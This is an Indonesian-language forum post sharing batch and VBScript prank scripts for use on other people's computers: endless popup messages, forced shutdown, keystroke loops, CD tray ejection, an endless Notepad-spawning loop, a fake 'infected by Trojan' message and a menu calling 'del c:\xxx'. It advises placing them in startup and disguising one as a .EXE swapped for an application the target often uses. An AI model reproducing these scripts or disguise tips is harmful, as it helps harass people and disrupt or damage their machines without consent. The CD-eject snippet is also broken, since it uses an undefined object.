Scripts Ngeselin Banget

Saya pengen share script2 lain yg lumayan ngeselin orang...
dan ada yang berguna juga tergantung gimana temen2 modif kata2 nya
bisa di kombinasiin sendiri yah....misal nya di taruh di startup..


buka notepad lalu copy paste script di bawah.....

1.message yang nongol melulu

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya
kata2 nya bisa diganti sesuai selera masing2...:D
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...
di kirain cinta gila... :)

2.bikin shutdown+message

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

 save namafile.BAT

3.Mainin Caps Lock button

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

 save namafile.vbs

4.buka tutup CD/DVD 

Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

 save namafile.vbs

5.bikin vbscript nongol melulu

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

 save namafile.vbs
ket:di task manager full wscript yg lg running :D

6.teken tombol backspace melulu

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

 save namafile.vbs
Atau Bisa Juga Dengan 

[b]7.otomatis ngetik "lu jelek banget sih" di notepad/word[/b]
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

 save namafile.vbs

8.buka notepad trus menerus

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

 save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.


9.otomatis buka notepad lalu ngetik apa yg lo mau

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "Sistem"
WScript.Sleep 50
WshShell.SendKeys "Anda "
WScript.Sleep 50
WshShell.SendKeys "Terinfeksi"
WScript.Sleep 50
WshShell.SendKeys "Virus"
WScript.Sleep 50
WshShell.SendKeys "Trojan"
WScript.Sleep 50
WshShell.SendKeys "By"
WScript.Sleep 50
WshShell.SendKeys "JeFF"
WScript.Sleep 50
WshShell.SendKeys "Hacker"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

 script diatas temen2 kembangin aja lagi...misal kayak gini nih

@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

 Tips: Biar mudah mengelabui Target Converter File Notepad yang Telah di buka tadi menjadi .EXE lalu tukar mana .EXE tersebut dengan Aplikasi yang sering di gunakan target